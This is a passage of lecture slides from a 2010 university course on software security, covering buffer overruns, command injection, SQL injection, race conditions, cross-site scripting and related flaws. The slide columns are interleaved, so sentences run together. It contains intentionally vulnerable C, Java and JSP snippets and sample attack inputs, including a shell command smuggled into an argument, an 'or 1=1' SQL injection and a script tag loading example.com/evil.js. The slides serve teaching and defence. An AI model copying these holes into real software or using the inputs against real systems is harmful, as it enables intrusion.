Lecture overview Table of contents: Introduction to SW security Software In-Security Buffer overflows Overview Web Application security Malware OS security topics Code scanning Emmanuel Benoist Taught by Ulrich Fiedler & Emmanuel Benoist (50% - 50%) Author: Endre Bangerter Lecture #7224 - Spring 2010 Lecture with self-study and hands on labs Agenda What is software in-security Basic facts and examples Software insecurity: Unintentional functionality / behavior of software resulting in vulnerabilities that can be exploited by an attacker. Typically triggered by an attacker by providing some kind of malicious input Why software is insecure Software in-security is one of the prevailing security issues and challenges today. Classification of software problems Software vulnerabilities may result in Exposure of confidential data Execution of unauthorized commands Crash of software, machines etc. Injection and execution of code Taking over an OS / machine Malware infection Etc. ◊ In a nutshell: “Any bad thing that software can do within its runtime environment can happen”
Number of SW vulnerabilities is growing Software is everywhere Any type of software is potentially affected: Excerpt form McGraw, Software Security, AWL. Office software, PDF viewers: MS Office, Open Office, Adobe Reader, etc. Web browsers: Internet explorer, Firefox, Opera, Safari, etc. Operating systems: Windows XP & Vista, OS X, Linux, etc. Web Applications: Security software like firewalls, anti-virus etc. Databases: Oracle, DB2, etc. Middleware Applications: SAP etc. Frameworks: .Net, Java EE, etc. Libraries: Crypto libraries, graphics libraries etc. Etc. Software is found in abundant number of devices: PCs, laptops Servers Mobile phones Airplanes, trains, cars Routers Smart cards DVD players MP3 players Medical devices Etc. Examples of software problems - Buffer overruns Examples of software problems - Buffer overruns Cause: Buffer overruns occur when an application writes beyond an allocated buffer (e.g., an array) and thereby overwrites memory locations that control the program flow. Effect: Can lead to the execution of arbitrary code supplied by the attacker. Example code: void trouble() { int a = 32; /*integer*/ char line[128]; /*character array*/ gets(line); /*read a line from stdin*/ }
Examples of software problems - Buffer overruns Examples of software problems - Command injection To exploit buffer overruns the attacker needs to be able to control the data Cause: Application contains code that executes commands going into a buffer. Data is e.g., user input, an image to be displayed etc. Effect: Injection and execution of commands specified by the attacker in the vulnerable application. Buffer overruns are typical for C and C++ trouble() would cause a runtime error in Java For performance reasons lots of code, e.g., operating systems, is written in C, C++. Example code: Thus, one cannot avoid the problem by porting all SW to Java. #include <stdio.h> There are other types of buffer overruns, e.g., by overwriting heap data. #include <unistd.h> int main(intargc, char **argv) { char cat[] = "cat "; Buffer overruns are still one of the most important software security problems char *command; today. size_t commandLength; Overall they rank behind Web Application vulnerabilities. commandLength = strlen(cat) + strlen(argv[1]) + 1; Still #1 in OS vulnerabilities. command = (char *) malloc(commandLength); strncpy(command, cat, commandLength); strncat(command, argv[1], (commandLength - strlen(cat)) ); system(command); return (0); } Examples of software problems - Command injection Examples of software problems -SQL Injections Exploit: Cause: Application assembles SQL queries that are partially made of user inputs. $ ./catWrapper "Story.txt; ls" Effect: Attacker executes SQL commands of his choice on DB backend. When last we left our heroes... Story.txt doubFree.cnullpointer.c unstosig.c www* a.out* format.cstrlen.cuseFree* Example code (snippet): catWrapper* String custID = httpRequest.getParameter("custID"); String sql = "Select * From Customer Where CustomerID = '" + custID + "'“; Affects all languages, including Java Runtime.getRuntime().exec( "myprog.exe" ); Class.forName(“MyClass”);
Examples of software problems -SQL Injections Examples of software problems – Race conditions Cause: Assumption that needs to hold true for some period of time, but does not. Exploit: Effect: Cannot be specified exactly – “unexpected behavior”, does not need to be security critical. Attacker enters for custID in Web form: cust1' or 1=1 – This results in the query: Select * From Customer Where CustomerID = 'cust1' or Example code: 1=1 -- ' import java.io.*; import java.servlet.*; import java.servlet.http.*; Affects typically Web applications, no matter what language they are written in. public class Counter extends HttpServlet{ int count = 0; public void doGet(HttpServletRequest in, HttpServletResponse out) throws ServletException, IOException { out.setContentType("text/plain"); Printwriter p = out.getWriter(); count++; p.println(count + " hits so far!"); } } Examples of software problems – Race conditions Examples of software problems – Cross site scripting Cause:Application assembles HTTP responses (e.g., HTML pages) that are partially made of user inputs. See also http://www.owasp.org/index.php/Member_Field_Race_Condition Effect: Attacker can embed arbitrary code in Web pages of seemingly Exploit: Let’s have a look in NVD. trustworthy sites. Example code (JSP snippet): Affects many languages and aspects of SW, e.g., threads, file access, NW access etc. <c:if test="${param.sayHello}"> <!-- Let's welcome the user ${param.name} --> Hello ${param.name}!</c:if>
Examples of software problems – Cross site scripting Examples of software problems - Further examples Integer overflows: When numbers in a computation get larger than the storage space allocated for their Exploit: type. No direct exploitability, since they do not allow direct overwriting of memory or manipulation of execution flow, but are more subtle. If the name parameter has a value such as Walter , the JSP will produce a message that says: Indirect exploit, e.g., via buffer overflow when integers that overflow are used as array indices. Affects mostly C and C++ code. Hello Walter! Bad error handling: Error handling is obviously important since it is about dealing with situations in which the programmer’s expectations are violated. But if the name parameter has a value such as A class of software problems, where myriads of things can go wrong and where exploitability depends on the concrete problem at hand. Some examples: %3Cscript%20src%3D%22 http%3A//example.com/evil.js%22%3E%3C/script%3E Yielding to much information: Leak information about OS, server version, on logon failure saying “user id not known”, etc. the server will decode the parameter and send the Web browser this: Ignoring errors, misinterpreting errors, handling all errors the same: May mean to do the wrong thing upon error. Example: try { doExchange(); Hello <script src="http://example.com/evil.js"></script>! } catch (RareException e) { // this can never happen } See also http://www.owasp.org/index.php/Uncaught_exception Affects typically Web applications, no matter what language they are written in. Examples of software problems - Further examples Examples of software problems - Further examples Use of weak password based systems: Use of magic URLs and hidden form fields: Passwords are often weak, because poor choices and management by users. However, a weak implementation of a password authentication system can add many additional Some Web Shops use(d) to store session information such as the content of a shopping vulnerabilities. cart including prices of items in hidden form fields. This allows the attacker to edit Don’t store plaintext passwords, only store hash values or other validators, use salt the HTML code and , e.g., to adapt prices. (random values) when creating hashes to avoid brute force attacks. Some applications assume wrongly that URLs cannot be decoded or modified by users. Carefully choose password based remote authentication protocols. E.g., even when passwords are encrypted, the ciphertext could be replayed resulting in a successful Improper use of SSL / TLS: login. Don’t simply replace an existing network socket with SSL / TLS to make it secure. Example vulnerabilities: http://nvd.nist.gov/nvd.cfm?cvename=CVE-2005-1505 or http://nvd.nist.gov/nvd.cfm?cvename=CVE-2005-0432 Lots of things needs to be handled additionally, such as: Verification of CA signature on server CERT, check expiration date of CERT, check that target URL matches the one on CERT, check of CRLs, etc. Different libraries will handle these things differently. E.g., one library will automatically check the expiration date, while another doesn’t. The issue boils down to understanding how CERTs really work, and a bit of the underlying crypto.
Recommend
More recommend
